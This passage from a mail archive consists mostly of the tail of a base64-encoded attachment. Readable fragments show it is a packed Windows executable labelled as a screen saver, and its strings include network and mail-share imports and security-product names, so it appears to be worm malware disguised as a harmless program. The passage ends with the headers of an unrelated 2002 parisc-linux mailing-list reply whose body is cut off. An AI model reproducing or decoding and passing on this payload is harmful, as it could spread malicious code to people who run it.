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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAwAAACgAAIAOAAAAaAAAgBAAAACoAACAAAAAAAAAAAAA
AAAAAAABAAEAAABAAACAAAAAAAAAAAAAAAAAAAABAAkEAABYAAAA7FABAOgCAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAQBsAAAAgAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAmAAAANhTAQAUAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAMAAAIAAAAAAAAAAAAAAAAAAAAEACQQAANgAAADwUwEA
KAMAAAAAAAAAAAAAGCQBACgAAAAgAAAAQAAAAAEABAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//
AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAPoAAAAAAAAAAAAAAAAAAAD6AAAAAAAAAAAAAAAAAAAPqqAAAAAAAAAAAAAAAAAAD6qgAAAA
AAAAAAAAAAAAAPqqqgAAAAAAAAAAAAAAAAD6qqoAAAAAAAAAAAAAAAAPqqqqoAAAAAAAAAAAAAAA
+qqqqqoAAAAAAAAAAAAAD6qqqqqqoAAAAAAAAAAAAA+qqqqqqqAAAAAAAAAAAAD6qqqqqqqqAAAA
AAAAAAAPqqqqqqqqqqAAAAAAAAAA+qqqqqqqqqqqAAAAAAAAD6qqqqqqqqqqqqAAAAAAAPqqqqqq
qqqqqqqqAAAAAAD6qqqqqqqqqqqqqgAAAAAPqqqqqqqqqqqqqqqgAAAAD6qqqqqqqqqqqqqqoAAA
APqqqqqqqqqqqqqqqqoAAAD6qqqqqqqvqqqqqqqqAAAA+qqqqqqqAPqqqqqqqgAAAPqqqqqqqgD6
qqqqqqoAAAAPqqqqqqAAD6qqqqqgAAAAD6qqqqqgAA+qqqqqoAAAAAD/qqqqAAAA/6qqqgAAAAAA
AP///wAAAAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAD//////////////////H////x////4P///+D////Af///wH///4A///8AH//+AA///gAP/
/wAB//4AAP/8AAB/+AAAP/AAAB/wAAAf4AAAD+AAAA/AAAAHwAAAB8ABAAfAAQAH4AOAD+ADgA/w
B8Af/A/wP////////////////wAnAQAAAAEAAQAgIBAAAQAEAOgCAAABAPAgAQAoAzQAAABWAFMA
XwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAUAAgAAAAAABQACAAAAPwAA
AAAAAAAEAAQAAQAAAAAAAAAAAAAAAAAAAIgCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYA
bwAAAGQCAAABADAANAAwADkAMAA0AGIAMAAAADIADQABAEMAbwBtAG0AZQBuAHQAcwAAAFMAYwBy
AGUAZQBuACAAUwBhAHYAZQByAAAAAABIABQAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAHcA
dwB3AC4AcwBjAHIAZQBlAG4AcwBhAHYAZQByAC4AYwBvAG0AAABCAA0AAQBGAGkAbABlAEQAZQBz
AGMAcgBpAHAAdABpAG8AbgAAAAAAUwBjAHIAZQBlAG4AIABTAGEAdgBlAHIAAAAAADYACwABAEYA
aQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAsACAAMAAsACAAMAAsACAAMgAAAAAAIAAAAAEASQBu
AHQAZQByAG4AYQBsAE4AYQBtAGUAAABGABEAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQA
AABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAyADAAMAAyAAAAAAAoAAAAAQBMAGUAZwBhAGwAVABy
AGEAZABlAG0AYQByAGsAcwAAAAAAKAAAAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0A
ZQAAACAAAAABAFAAcgBpAHYAYQB0AGUAQgB1AGkAbABkAAAAIAAAAAEAUAByAG8AZAB1AGMAdABO
AGEAbQBlAAAAAAA6AAsAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAA1ACwAIAAwACwA
IAAwACwAIAAyAAAAAAAgAAAAAQBTAHAAZQBjAGkAYQBsAEIAdQBpAGwAZAAAAEQAAAABAFYAYQBy
AEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAE
AAAAAAAAAAAAAAAA+FcBALhXAQAAAAAAAAAAAAAAAAAFWAEAyFcBAAAAAAAAAAAAAAAAABJYAQDQ
VwEAAAAAAAAAAAAAAAAAHFgBANhXAQAAAAAAAAAAAAAAAAAkWAEA4FcBAAAAAAAAAAAAAAAAAC9Y
AQDoVwEAAAAAAAAAAAAAAAAAO1gBAPBXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAEZYAQBUWAEAZFgB
AAAAAAByWAEAAAAAAIBYAQAAAAAAiFgBAAAAAACYWAEAAAAAAKBYAQAAAAAAdAAAgAAAAABLRVJO
RUwzMi5ETEwAQURWQVBJMzIuZGxsAEdESTMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5F
VC5kbGwAV1MyXzMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9j
ZXNzAAAAUmVnQ2xvc2VLZXkAAABCaXRCbHQAAFdOZXRDbG9zZUVudW0AAABHZXREQwAAAEludGVy
bmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAxXPHZlrf5bPG2xFIogKB+MtgBvEpHpFn9IqRKy4AB6pT4JDiUJFaseCg2lJh0Ojf1sxYpyrJ
AT8DDTO1LTMW1a2V0c/5UmWIFk4Tntd68/JKCJ4u8zRdUl3yN5s96hPrzqp5gvblnt4ZrC5qI1+/
SCD533WtWHGW5R62CY5xvaOWyodWHKqf6yS6Cwd05Xow8MB7NqYek142oDolcO6WGkymi4Uqz8hP
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
--eqeulxl--


From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 22:31:17 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020921043118.0F8F64829@dsl2.external.hp.com>
References: <Pine.OSF.4.33.0209201006420.5180-100000@simba.sch.bme.hu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621746 14296 80.91.229.3 (22 Nov 2014 02:02:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Istvan Gyenes <frts@simba.sch.bme.hu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 22:31:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0F8F64829; Fri, 20 Sep 2002 22:31:18 -0600 (MDT)
In-Reply-To: Message from Istvan Gyenes <frts@simba.sch.bme.hu> 
   of "Fri, 20 Sep 2002 10:28:24 +0200." <Pine.OSF.4.33.0209201006420.5180-100000@simba.sch.bme.hu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
